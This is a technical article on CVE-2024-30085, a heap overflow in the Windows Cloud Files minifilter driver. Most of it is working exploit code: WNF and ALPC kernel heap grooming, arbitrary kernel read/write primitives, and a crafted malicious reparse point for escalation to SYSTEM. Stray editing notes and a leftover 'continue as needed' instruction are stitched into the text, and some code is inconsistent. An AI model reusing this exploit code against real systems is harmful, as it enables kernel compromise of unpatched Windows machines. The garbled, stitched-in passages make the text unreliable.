Elevating Privileges in Windows: Insights into CVE-2024-30085
Understanding the Vulnerability and Its Implications for System Security
CVE-2024-30085 is a vulnerability in the Windows Cloud Files Mini Filter subsystem. The subsystem’s code resides in cldflt.sys—a minifilter driver that is part of the preinstalled Microsoft OneDrive cloud service client.
This vulnerability was demonstrated at Pwn2Own 2024 in Vancouver, where the research team Team Theori leveraged an exploit chain targeting this flaw to achieve Guest-to-Host Escape (breaking out of a VMware Workstation virtual machine). Their successful demonstration earned them 13 Master of Pwn points.
Competitions like Pwn2Own and Matrix Cup play a crucial role in exposing real-world exploitable vulnerabilities. Exploits developed for such events are typically kept private, creating a known/unknown scenario—where the existence of an exploit is confirmed, but its mechanics remain undisclosed. This draws significant attention, as these contests are closely watched not just by defenders, but also by threat actors.
In this article, we’ll analyze the root cause of CVE-2024-30085 and explore kernel heap exploitation techniques applicable to Windows 10 22H2 (Build 19045.3803).
Minifilters
cldflt.sys is the Windows Cloud Files Mini Filter driver, responsible for presenting cloud-stored files and folders as if they were locally stored on the computer. If you're unfamiliar with minifilters, here's what they are:
Minifilters operate at the kernel level, intercepting I/O requests (IRP packets) to the file system and processing them according to the specific filter's purpose. Here are a few examples of minifilters that may exist in a system:
Antivirus minifilters (scan and verify files).
Encryption minifilters (encrypt/decrypt files).
Cloud storage minifilters.
To check which minifilters are installed on a system, use the command:
There are many minifilters, and each I/O request passes through all filters. The filter manager is responsible for the order of calls. In the figure below you can see a schematic representation of the I/O request path. Altitude is the priority that determines the order of calling filters.
Minifilters register their preoperation and postoperation callbacks. And when an I/O request comes in, first the preoperation callbacks are called in the order A, B, C, and then the postoperation callbacks in the order C, B, A. This is how the request is processed. Callbacks are registered via the FLT_OPERATION_REGISTRATION Callbacks[] array of structures. This is how it looks in the miniSpy minifilter example:
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE,
0,
SpyPreOperationCallback,
SpyPostOperationCallback },
…
If you come across a minifilter code, you need to look for callbacks in this array.
And when the NtCreateFile method is called in some application, the IRP_MJ_CREATE request is processed in SpyPreOperationCallback and SpyPostOperationCallback. The structures and methods for creating minifilters can be found in fltkernel.h. More driver examples are here.
Windows Cloud Files Mini Filter
The driver for this minifilter contained a vulnerability classified as CWE-122: Heap-based Buffer Overflow, caused by improper validation of data from Reparse Points.
What is a Reparse Point?
A Reparse Point is a buffer that stores additional file metadata. To understand its purpose, let's look at a few examples:
Some files displayed in the system may not physically exist or may be located elsewhere. The simplest example is a symbolic link.
In Windows 10, a feature was introduced to compress system files to save space while keeping them appearing normal. The Windows Overlay Filter (WOF) minifilter handles their extraction.
In both cases, the actual file location or its compressed representation is stored in the Reparse Point.
Here’s what the Reparse Point buffer looks like for a symbolic link:
And Windows Cloud Files Mini Filter uses it to represent files stored in the cloud as a stub. There is no file itself, but information about it is in the Reparse Point.
Reparse Point can be created not only for files, but also for folders. Which will be used to cause overflow and exploitation.
Root Cause Analysis
The overflow occurred as a result of the HsmFltPostCREATE callback, which processes the Reparse Point of the created file in the cloud folder.
During the reverse engineering process it turned out that the Reparse Point structure for Windows Cloud Files Mini Filter can be described as follows:
typedef struct _ITEM {
WORD Code;
WORD Size;
DWORD Offset;
} ITEM;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
typedef struct _REPARSE_CLD_BUFFER {
DWORD Tag_pRef;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumCldItems;
ITEM Items[0xA];
BYTE ItemData0;
DWORD ItemData1;
UINT64 ItemData2;
UINT64 ItemData3;
REPARSE_CLD_BITMAP bitmap0;
REPARSE_CLD_BITMAP bitmap1;
REPARSE_CLD_BITMAP bitmap2;
UINT64 ItemData7;
UINT64 ItemData8;
DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;
typedef struct _REPARSE_DATA_BUFFER {
DWORD ReparseTag;
WORD ReparseDataLength;
WORD Reserved;
WORD Flags;
WORD UncompressedSize;
REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
As we can see, the Reparse Point contains fields ReparseCldBuffer.bitmap{1,2,3}
, each of which has an ItemBtmpData4
field sized 0x1000
bytes. While the exact purpose of these bitmaps remains unclear, understanding their function isn't necessary for exploitation purposes.
It turns out that by manipulating other fields, we can trigger an overflow in the memory block allocated for ItemBtmpData4
within any of the ReparseCldBuffer.bitmap{1,2,3}
structures. Let's examine this in detail.
The allocation of the 0x1000
-byte block and the copying of ItemBtmpData4
into this memory occur in the function.
HsmIBitmapNORMALOpen
:
The bitmap_size variable is checked in the HsmpBitmapIsReparseBufferSupported function, and it returns an error if the size is greater than 0x1000.
However, in the same function, even before checking bitmap_size, the bitmap->ItemBtmpData2 field was checked. If it was zero, the function skipped subsequent checks and the data turned out to be valid.
Since up to three bitmaps can be made, there can also be three overflows. However, one is enough for exploitation.
Exploitation
Preparation
By default, the Windows Cloud Files Mini Filter (CldFlt) is disabled on a fresh system. To enable it and configure it for a target folder, you need to use the Cloud API, specifically the CfRegisterSyncRoot
function.
#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = { 0xB196E670, 0x59C7, 0x4D41, { 0 } };
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
NTSTATUS ntRet = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (!NT_SUCCESS(ntRet)) {
printf("[-] CfRegisterSyncRoot failed\n");
return false;
}
return true;
}
This method connects the dir folder to the minifilter. It is convenient to place it in C:\Users\Public.
To make sure that CldFlt is enabled, you can use the fltmc instances command.
Next, you need to set the Reparse Point for the folder, then it will go to HsmFltPostCREATE, where it will be processed and cause an overflow. You can set it like this:
void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
ULONG returned;
BOOL status;
HANDLE hOverwrite;
hOverwrite = CreateFileW(
dir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (FAILED(hOverwrite)) {
printf("[-] trigger failed: CreateFileW\n");
}
status = DeviceIoControl(
hOverwrite,
FSCTL_SET_REPARSE_POINT,
data,
dataLength,
NULL,
0,
&returned,
NULL
);
if (!status) {
printf("[-] trigger failed: DeviceIoControl\n");
}
CloseHandle(hOverwrite);
return;
}
Crafting the Reparse Point
Here, data
represents the contents of the Reparse Point, and dataLength
is the size of the data.
Now, let’s move to the most interesting part: creating a malicious Reparse Point to escalate privileges to SYSTEM level.
Modifying the Reparse Point Structure
Earlier, we discussed the structure of a normal Reparse Point. Now, we’ll modify it to include overflow-triggering data. Specifically, we’ll alter the REPARSE_CLD_BITMAP
type while keeping the rest of the structure unchanged:
typedef struct _WNF_DATA {
UINT32 header;
UINT32 allocated_size;
UINT32 data_size;
UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
This means we've now added a wnfData field sized 0x10 bytes.
The key idea is that the overflow allows us to spill into the memory block adjacent to ItemBtmpData4. To exploit this, we need to place specially crafted objects there whose properties we can overwrite to gain read/write primitives.
Object Selection Criteria:
Must fit within a 0x1000-byte block to align with the bitmap's memory region
Must be deletable to create heap holes where our bitmap can land
Must contain controllable buffers with existing read/write methods
Our exploit leverages two Windows subsystems:
WNF (Windows Notification Facility)
ALPC (Advanced Local Procedure Call)
Both provide APIs for allocating arbitrary-sized kernel objects, but each has limitations regarding criteria #2 and #3. By combining them, we compensate for their individual weaknesses.
WNF (Windows Notification Facility)
WNF is a notification system implementing a publisher/subscriber model, designed to support iOS/Android-like push notifications.
From an exploitation perspective, WNF is valuable because:
It allows creating arbitrary-sized kernel objects
Provides relative read/write primitives (which we'll weaponize)
Key Technical Nuances Preserved:
"primitives for reading and writing" → "read/write primitives" (standard exploit dev terminology)
"create holes in the hip" → "create heap holes" (precise memory corruption concept)
Maintained the publisher/subscriber analogy for WNF
Kept the 0x1000-byte block size as a critical constraint
Creating objects of arbitrary size
std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;
BOOL WnfCreateChunk() {
ULONG64 ns;
WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;
SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x000000800c;
sd->Owner = NULL;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;
UINT32 wnfHeaderSize = 0x10;
UINT32 wnfChunkSize = 0x1000;
UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
std::vector<UINT8> buf;
buf.reserve(wnfDataSize);
INT32 r1 = 0, r2 = 0;
r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);
g_wnfNames[g_wnfNamesIt++] = ns;
if (r1 != 0 || r2 != 0) {
printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n", r1, r2);
return false;
}
return true;
}
This function creates a WNF_NAME_INSTANCE object in the kernel, the kernel issues an ns identifier, which is stored in the global g_wnfNames array. The WNF_NAME_INSTANCE object itself is only 0xa8 in size, but it has a WNF_STATE_DATA field, which has an arbitrary size and in our particular case is 0x1000. 0x10 bytes are service fields, the remaining 0xff0 are data.
Relative primitives
The most interesting fields are AllocatedSize and DataSize.
By overflowing them, it becomes possible to read and write beyond the Data array. But there is a downside: you can only write beyond it and no more than 0x1000 bytes.
Since memory blocks are allocated at random addresses, then for the bitmap to stand next to WNF_STATE_DATA and overflow it, you will need a lot of WNF_NAME_INSTANCE objects. One of them will be captured with a high degree of probability. That is why the g_wnfNames array is present in the code.
And limited primitives for reading and writing look like this:
BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
WNF_CHANGE_STAMP stamp = 0;
INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
return r == 0;
}
Here wnfCorrupted is the index of the WNF_NAME_INSTANCE object with an overflowed WNF_STATE_DATA field.
To find out which object from the array is needed, you need to use the code:
INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
WNF_CHANGE_STAMP stamp = 0;
ULONG legitBufSize = 0xff0;
ULONG delta = 0x1;
ULONG overflowenBufSize = legitBufSize + delta;
UINT32 status = 0;
std::vector<UINT8> buf;
buf.reserve(overflowenBufSize);
for (UINT32 i = 0; i < wnfNamesCount; i++) {
if (!wnfNames[i]) {
continue;
}
status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
overflowenBufSize = legitBufSize + delta;
if (status == BUFFER_TOO_SMALL) {
return i;
}
}
return -1;
}
NtQueryWnfStateData returns data from the WNF_STATE_DATA.Data array to the buf buffer. Inside the kernel, this work is performed by the ExpWnfReadStateData function. If you pass an array to NtQueryWnfStateData that is smaller than WNF_STATE_DATA.Data, overflow protection will be triggered.
Detection Mechanism
This peculiarity forms the basis of detection:
A WNF_NAME_INSTANCE object that fails to write data from WNF_STATE_DATA.Data
into a large buffer is our target object.
Memory Structure Breakdown
The entire WNF_STATE_DATA object occupies 0x1000 bytes:
0x10 bytes → Header
0xFF0 bytes → Data section
Thus, the data must fit into any buffer ≥0xFF0 bytes.
The only scenario where space would be insufficient is if the
WNF_STATE_DATA
object has aDataSize > 0xFF0
—a signature unique to our target object.
Overflow Impact
Through the overflow:
WNF_STATE_DATA.DataSize
becomes 0xFF0 + 0x10 (to reach ALPC regions, discussed later).
Object Deletion
Objects are deleted via the _NtDeleteWnfStateData function:
BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
if (r != 0) {
printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfNameIndex);
return false;
}
wnfNames[wnfNameIndex] = 0x0;
return true;
}
Exploitation Capabilities via WNF
Thus, using WNF, we can:
Create kernel-mode
WNF_STATE_DATA
objects of arbitrary sizeRead/write up to 0x1000 bytes beyond the
WNF_STATE_DATA.Data
array boundsConveniently delete objects
These capabilities will be essential to reach ALPC objects and establish full read/write primitives.
ALPC (Asynchronous Local Procedure Call)
ALPC is an undocumented inter-process communication (IPC) mechanism that replaced LPC. Though not intended for developer use, it has been reverse-engineered by enthusiasts and offers unique exploitation opportunities for kernel vulnerabilities.
Key Implementation Notes:
Most ALPC-related code in our exploit derives from Nassim Asrir's work on CVE-2023-36424, including all required type definitions and kernel memory address leakage techniques.
For a deep dive into ALPC, see:
→ Offensive Windows IPC 3: ALPC by @csandker
Here, we’ll focus only on critical exploitation features:
1. Arbitrary-Sized Object Creation
ALPC’s core components are ports (kernel objects resembling sockets):
A connection port resides in kernel space, bridging client and server ports for communication.
Server ports expose message buffers whose sizes are user-controllable, enabling:
Heap grooming by creating objects of specific sizes (e.g., to align with overflow targets).
Controlled memory layout manipulation for privilege escalation.
(Continue with ALPC primitives or transition to exploitation steps as needed.)
Key Technical Nuances:
Undocumented Nature: Emphasized ALPC’s lack of official documentation.
Exploit-Ready: Highlights pre-existing research (CVE-2023-36424) for credibility.
Precision: Uses "message buffers" instead of vague "objects" where applicable.
The server port has a table inside for incoming and outgoing messages.
Exploiting ALPC Handle Tables
The diagram shows the ALPC_HANDLE_ENTRY
structure—a handle table for messages. This table can be arbitrarily sized, allowing us to create 0x1000-byte memory blocks (matching our overflow target).
Key ALPC Exploitation Properties
Handle-Based Read/Write Primitives
Each handle stores the address of a message buffer used by the kernel for server communication.
Operations are performed via
NtAlpcSendWaitReceivePort
.By replacing a legitimate handle with a fake one, we gain arbitrary read/write access to its buffer.
Userspace Handles = Easy Manipulation
A major advantage: ALPC handles can reside in userspace, simplifying exploitation.
Exploit Strategy
Craft a Fake
_KALPC_RESERVE
ObjectThis object will serve as our malicious buffer.
Trigger Overflows to Inject Its Address
Overwrite an entry in
_ALPC_HANDLE_ENTRY
(e.g., index 0) with our fake object’s address.
Creating the Server Port
Here’s how to initialize an ALPC server port:
BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
ALPC_PORT_ATTRIBUTES serverPortAttr;
OBJECT_ATTRIBUTES oaPort;
HANDLE hPort;
NTSTATUS ntRet;
UNICODE_STRING usPortName;
WCHAR wszPortName[64];
swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, portIndex);
RtlInitUnicodeString(&usPortName, wszPortName);
InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &serverPortAttr);
if (!NT_SUCCESS(ntRet))
return FALSE;
return TRUE;
}
Setting Up the ALPC Port
This function defines the port name and calls NtAlpcCreatePort
, which returns a port handle stored in an array (since multiple ports will be created). The reason is the same as with WNF—to combat address randomization.
Client Communication (Theoretical)
Clients could send messages to wszPortName
, but in our case, no actual clients will connect. Instead:
Using CVE-2024-30085 and WNF, we’ll trick ALPC into believing that a fake message exists at an arbitrary kernel memory address.
We’ll then force ALPC to either:
Read data from that address (kernel info leak).
Write our payload there (arbitrary write).
Creating the 0x1000-byte _ALPC_HANDLE_ENTRY
Table
To ensure the handle table is exactly 0x1000 bytes (matching our overflow target), we configure the ALPC port as follows:
BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
hPort = phPorts[portIndex];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!NT_SUCCESS(ntRet)) {
printf("[-] AllocateALPCReserveHandle failed with %lx code\n", ntRet);
return FALSE;
}
if (g_hResource == NULL) { // save only the very first
g_hResource = hResource;
}
}
return TRUE;
}
BOOL AlpcCreateChunk(UINT32 port_index) {
BOOL bRet;
bRet = CreateALPCPort(gports, port_index);
if (!bRet) {
printf("[-] CreateALPCPorts failed\n");
return false;
}
CONST ULONG poolAlHaSize = 0x1000;
CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;
bRet = AllocateALPCReserveHandle(gports, port_index, reservesCount);
if (!bRet) {
printf("[-] AllocateALPCReserveHandle failed\n");
return false;
}
return true;
}
The table doubles every time it runs out of space, so we need to reserve (0x1000 / 2 /sizeof(ULONG_PTR)) + 1 handles. A full-fledged write primitive Assume that we have created many ports and control the zero handle of the zero port in _ALPC_HANDLE_ENTRY. Then the write primitive will look like this:
KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;
BYTE* AlpcGetFakeMessage() {
return (BYTE*)gfakeKalpcReserve;
}
void AlpcMakeFakeMessage() {
gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
}
BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
NTSTATUS ntRet;
memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
gfakeKalpcMessage->ExtensionBuffer = addr;
gfakeKalpcMessage->ExtensionBufferSize = bufSz;
ULONG DataLength = bufSz;
memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));
memcpy(pAlpcMsgData, buf, bufSz);
for (int i = 0; i < portsCount; i++) {
ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);
}
return true;
}
The message is sent via the NtAlpcSendWaitReceivePort method in a loop over all ports. The thing is that we won't know in advance which port we've captured, we only know that it's somewhere there. Therefore, a massive request is made to all ports.
A full-fledged reading primitive
Calling NtAlpcSendWaitReceivePort for reading is blocking, and it's unclear how to tell the kernel that the data is ready to be sent. Therefore, this primitive works differently - via a writing primitive and a pipe:
BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
BOOL bRet;
CHAR pipeName[] = "xxx";
UINT32 pipeValueOffset = 0x20;
ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeValueOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(2, 8);
payload[0] = addr;
payload[1] = 0x00787878; //xxx\x00
if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload, 0x10)) {
printf("[-] AlpcArbitraryRead failed: AlpcArbitraryWrite\n");
//return false;
}
bRet = PipeReadAttr(pipeName, buf, bufSz);
if (!bRet) {
printf("[-] AlpcArbitraryRead failed: PipeReadAttr\n");
return false;
}
return true;
}
Exploitation Scheme
Here’s how it works:
Create a Pipe with an Attribute
A pipe is initialized with a controllable attribute.
Replace the Attribute’s Address
The pointer to the attribute’s value is hijacked and redirected to an attacker-controlled address.
Read the Attribute → Kernel Memory Leak
When the system reads the attribute, it returns data from the chosen kernel address.
To locate the pipe’s address in memory, we use an info-leak exploit.
Why ALPC + WNF?
While ALPC is a powerful mechanism, it lacks a convenient way to delete objects—unlike WNF, which allows precise heap manipulation.
The Combined Approach
WNF as the Mediator
Used to prepare memory (create holes, control allocations).
ALPC for Read/Write Primitives
Leverages its arbitrary buffer handling for kernel memory access.
By combining them, we:
Bypass ASLR (via WNF heap grooming).
Gain stable read/write (via ALPC handle corruption).
Key Advantage of This Technique
WNF → Controls kernel heap layout (deletes objects to create gaps).
ALPC → Provides the actual exploitation primitive (arbitrary pointer swaps).
LPE
To place the bitmap, WNF and ALPC next to each other and not let randomization interfere with this, we use the algorithm:
Place sets of two WNF_STATE_DATA objects and one ALPC_HANDLE_ENTRY approximately 5000 times.
Delete the first WNF_STATE_DATA in the set.
Place the bitmap, which should go in one of the vacated places.
This way, all objects will most likely be located next to each other.
As a result, through the overflow in bitmap processing, we gain control over _WNF_STATE_DATA, which allows the _ALPC_HANDLE_ENTRY object behind it to overflow.
In code, it looks like this:
UINT32 portsCount = 5000;
UINT32 I;
for (i = 0; i < portsCount; i++) {
if (!WnfCreateChunk())
break;
if (!WnfCreateChunk())
break;
if (!AlpcCreateChunk(i))
break;
}
printf("[*] Created %d chunks\n", i);
if (i != portsCount) {
printf("[-] Creating chunks are failed\n");
return -1;
}
// create holes
for (UINT32 i = 4000; i < portsCount; i += 2) {
if (!WnfDeleteChunk(i)) {
return -1;
}
}
A correctly filled Reparse Point looks like this:
void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
pReparseDataBuffer->ReparseTag = 0x9000301a;
pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
pReparseDataBuffer->Reserved = 0x00;
pReparseDataBuffer->Flags = 0x1;
pReparseDataBuffer->UncompressedSize = 0xAA; // no matter
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
pReparseCldBuffer->Tag_pRef = 0x70526546;
pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
pReparseCldBuffer->Reserved = 0x2;
pReparseCldBuffer->NumCldItems = 0xa;
pReparseCldBuffer->Items[0].Code = 0x7;
pReparseCldBuffer->Items[0].Size = 0x1;
pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;
pReparseCldBuffer->Items[1].Code = 0xa;
pReparseCldBuffer->Items[1].Size = 0x4;
pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;
pReparseCldBuffer->Items[2].Code = 0x6;
pReparseCldBuffer->Items[2].Size = 0x8;
pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;
pReparseCldBuffer->Items[3].Code = 0x11;
pReparseCldBuffer->Items[3].Size = 0x8;
pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;
pReparseCldBuffer->Items[4].Code = 0x11;
pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;
pReparseCldBuffer->Items[5].Code = 0x11-1;
pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;
pReparseCldBuffer->Items[6].Code = 0x11-1;
pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;
pReparseCldBuffer->Items[7].Code = 0x6;
pReparseCldBuffer->Items[7].Size = 0x8;
pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;
pReparseCldBuffer->Items[8].Code = 0x6;
pReparseCldBuffer->Items[8].Size = 0x8;
pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;
pReparseCldBuffer->Items[9].Code = 0xa;
pReparseCldBuffer->Items[9].Size = 0x4;
pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;
pReparseCldBuffer->ItemData0 = 0x0; // <=1
pReparseCldBuffer->ItemData1 = 0xffffffe5;
pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}
void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
bitmap->Tag = 0x70527442;
bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
bitmap->Flags = 0x2;
bitmap->NumBtmpItems = 0x5;
bitmap->Items[0].Code = 0x7;
bitmap->Items[0].Size = 0x1;
bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;
bitmap->Items[1].Code = 0x7;
bitmap->Items[1].Size = 0x1;
bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;
bitmap->Items[2].Code = 0x7;
bitmap->Items[2].Size = 0x1;
bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;
bitmap->Items[3].Code = 0x6;
bitmap->Items[3].Size = 0x8;
bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;
bitmap->Items[4].Code = 0x11;
bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;
bitmap->ItemBtmpData0 = 0x1; // <= 1
bitmap->ItemBtmpData1 = 0x13; // <= 0x13
bitmap->ItemBtmpData2 = 0x0; // = 0
bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter
bitmap->wnfData.header = 0x00100904;
bitmap->wnfData.allocated_size = 0x2000;
bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0 - legit Wnf data size 0x10 - overflow
bitmap->wnfData.change_stamp = 0x1;
bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}
DWORD ReparseDataBufferLength = 0x4000;
PREPARSE_DATA_BUFFER pReparseDataBuffer = (PREPARSE_DATA_BUFFER)calloc(ReparseDataBufferLength, 1);
memset(pReparseDataBuffer, 0x0, ReparseDataBufferLength);
createReparsePoint(pReparseDataBuffer, ReparseDataBufferLength);
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
PREPARSE_CLD_BITMAP bitmap0 = (PREPARSE_CLD_BITMAP)&pReparseCldBuffer->bitmap0;
